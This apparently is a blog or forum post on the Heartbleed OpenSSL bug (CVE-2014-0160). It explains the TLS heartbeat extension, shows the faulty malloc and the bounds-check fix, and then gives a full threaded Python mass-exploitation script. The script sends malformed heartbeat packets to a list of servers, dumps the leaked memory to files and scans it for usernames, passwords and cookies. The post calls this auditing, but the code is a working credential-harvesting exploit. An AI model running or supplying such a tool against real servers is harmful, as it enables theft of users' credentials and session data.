This is one of the most scary bugs I have seen in the last few years. A lot of discussion is going on and there are quite a number of blogs regarding this. But I couldn't find anything that explicitly talks about the vulnerability and exploitation methods. Also many organizations have multiple https servers using openssl. So I have created this mas auditing tool that could scan them all in one click.
https://bitbucket.org/fb1h2s/cve-2014-0160
Scan:
TLS HearBeat Extension.
The vulnerability lies in the implementation of TLS Heartbeat extension. There is common necessity
in an established ssl session to maintain the connection for a longer time. The HeartBeat protocol extension is added to TLS for this reason. The HTTP keep-alive feature does the same but HB protocol allows a client to perform this action in much higher rate.
The client can send a Heart-Beat request message and the server has to respond back with a HearBeat response .
https://tools.ietf.org/html/rfc6520#page-2
So in short the Heartbeat Protocol is simple and has a request and response module.
heartbeat_request(1),
heartbeat_response(2),
The following is the structure of a HB protocol.
The following is heartbeat protocol .
Code:
struct { HeartbeatMessageType type; uint16 payload_length; opaque payload[HeartbeatMessage.payload_length]; opaque padding[padding_length]; } HeartbeatMessage;
So the entire heartbeat protocol is an addon for openssl . This following is the structure for a TLS packet with HB addon.
Code:
const unsigned char good_data_2[] = { // TLS record 0x16, // Content Type: Handshake 0x03, 0x01, // Version: TLS 1.0 0x00, 0x6c, // Length (use for bounds checking) // Handshake 0x01, // Handshake Type: Client Hello 0x00, 0x00, 0x68, // Length (use for bounds checking) 0x03, 0x03, // Version: TLS 1.2 // Random (32 bytes fixed length) 0xb6, 0xb2, 0x6a, 0xfb, 0x55, 0x5e, 0x03, 0xd5, 0x65, 0xa3, 0x6a, 0xf0, 0x5e, 0xa5, 0x43, 0x02, 0x93, 0xb9, 0x59, 0xa7, 0x54, 0xc3, 0xdd, 0x78, 0x57, 0x58, 0x34, 0xc5, 0x82, 0xfd, 0x53, 0xd1, 0x00, // Session ID Length (skip past this much) 0x00, 0x04, // Cipher Suites Length (skip past this much) 0x00, 0x01, // NULL-MD5 0x00, 0xff, // RENEGOTIATION INFO SCSV 0x01, // Compression Methods Length (skip past this much) 0x00, // NULL 0x00, 0x3b, // Extensions Length (use for bounds checking) // Extension 0x00, 0x00, // Extension Type: Server Name (check extension type) 0x00, 0x0e, // Length (use for bounds checking) 0x00, 0x0c, // Server Name Indication Length 0x00, // Server Name Type: host_name (check server name type) 0x00, 0x09, // Length (length of your data) // "localhost" (data your after) 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x68, 0x6f, 0x73, 0x74, // Extension 0x00, 0x0d, // Extension Type: Signature Algorithms (check extension type) 0x00, 0x20, // Length (skip past since this is the wrong extension) // Data 0x00, 0x1e, 0x06, 0x01, 0x06, 0x02, 0x06, 0x03, 0x05, 0x01, 0x05, 0x02, 0x05, 0x03, 0x04, 0x01, 0x04, 0x02, 0x04, 0x03, 0x03, 0x01, 0x03, 0x02, 0x03, 0x03, 0x02, 0x01, 0x02, 0x02, 0x02, 0x03, // Extension 0x00, 0x0f, // Extension Type: Heart Beat (check extension type) 0x00, 0x01, // Length (skip past since this is the wrong extension) 0x01 // Mode: Peer allows to send requests };
The bugg code was an insecure malloc https://github.com/openssl/openssl/c...108e9a3#diff-2
Code:
buffer = OPENSSL_malloc(1 + 2 + payload + padding);
The total length of a HeartbeatMessage does NOT exceed 2^14 or max_fragment_length when negotiated as defined in [RFC6066]. Here we are only able to leak 64 kb of memory and that could easily have usernames/password etc. Even though openssllib has loaded the server secret keys somewhere in memory it very unlikely to access that using this bug due the the heap allocations.
Constant HB request could be made to the server leaking (random memory) any amount of data from the server .
The fix to this bug was to simply bound check the payload + padding length to not exceed 16 bytes .
Code:
unsigned int write_length = 1 /* heartbeat type */ + + 2 /* heartbeat length */ + + payload + padding;
As well as to not allow the HB length to exceed the max length.
Code:
unsigned int write_length = 1 /* heartbeat type */ + + 2 /* heartbeat length */ + + payload + padding; + if (write_length > SSL3_RT_MAX_PLAIN_LENGTH) + return 0;
Exploitation:
I have created a Mass Auditing tool. So that you can give in a huge range of targets as a list and the tool would find important informations for you. Give it a list of targets and it would detect the vulnerability and list out if any username password is found.
Code:
import socket, ssl, pprint import Queue import threading,time,sys,select,struct,urllib,time,re,os ''' 16 03 02 00 31 # TLS Header 01 00 00 2d # Handshake header 03 02 # ClientHello field: version number (TLS 1.1) 50 0b af bb b7 5a b8 3e f0 ab 9a e3 f3 9c 63 15 \ 33 41 37 ac fd 6c 18 1a 24 60 dc 49 67 c2 fd 96 # ClientHello field: random 00 # ClientHello field: session id 00 04 # ClientHello field: cipher suite length 00 33 c0 11 # ClientHello field: cipher suite(s) 01 # ClientHello field: compression support, length 00 # ClientHello field: compression support, no compression (0) 00 00 # ClientHello field: extension length (0) ''' hello_packet = "16030200310100002d0302500bafbbb75ab83ef0ab9ae3f39c6315334137acfd6c181a2460dc4967c2fd960000040033c01101000000".decode('hex') hb_packet = "1803020003014000".decode('hex') def password_parse(the_response): the_response_nl= the_response.split(' ') #Interesting Paramaters found: for each_item in the_response_nl: if "=" in each_item or "password" in each_item: print each_item def recv_timeout(the_socket,timeout=2): #make socket non blocking the_socket.setblocking(0) #total data partwise in an array total_data=[]; data=''; #beginning time begin=time.time() while 1: if total_data and time.time()-begin > timeout: break elif time.time()-begin > timeout*2: break try: data = the_socket.recv(8192) if data: total_data.append(data) #change the beginning time for measurement begin=time.time() else: #sleep for sometime to indicate a gap time.sleep(0.1) except: pass return ''.join(total_data) def tls(target_addr): try: server_port =443 target_addr = target_addr.strip() if ":" in target_addr: server_port = target_addr.split(":")[1] target_addr = target_addr.split(":")[0] client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sys.stdout.flush() print >>sys.stderr, '\n[+]Scanning server %s' % target_addr , "\n" print "##############################################################" sys.stdout.flush() client_socket .connect((target_addr, int(server_port))) #'Sending Hello request...' client_socket.send(hello_packet) recv_timeout(client_socket,3) print 'Sending heartbeat request...' client_socket.send(hb_packet) data = recv_timeout(client_socket,3) if len(data) > 7 : print "[-] ",target_addr,' Vulnerable Server ...\n' #print data if os.path.exists(target_addr+".txt"): file_write = open(target_addr+".txt", 'a+') else: file_write = file(target_addr+".txt", "w") file_write.write(data) else : print "[-] ",target_addr,' Not Vulnerable ...' except Exception as e: print e,target_addr,server_port class BinaryGrab(threading.Thread): """Threaded Url Grab""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): while True: url = self.queue.get() tls(url) #Scan targets here #signals to queue job is done self.queue.task_done() start = time.time() def manyurls(server_addr): querange = len(server_addr) queue = Queue.Queue() #spawn a pool of threads, and pass them queue instance for i in range(int(querange)): t = BinaryGrab(queue) t.setDaemon(True) t.start() #populate queue with data for target in server_addr: queue.put(target) #wait on the queue until everything has been processed queue.join() if __name__ == "__main__": # Kepp all ur targets in scan.txt in the same folder. server_addr = [] read_f = open("scan.txt", "r") server_addr = read_f.readlines() #or provide names here #server_addr = ['yahoo.com'] manyurls(server_addr)
Leaked UserName password Cookie files would be stored in the local folder with target name.
Regards.
Reference:
http://blog.bjrn.se/2012/07/fun-with-tls-handshake.html
https://github.com/openssl/openssl/c...108e9a3#diff-2
https://bitbucket.org/fb1h2s/cve-201...r.py?at=master
Rate this article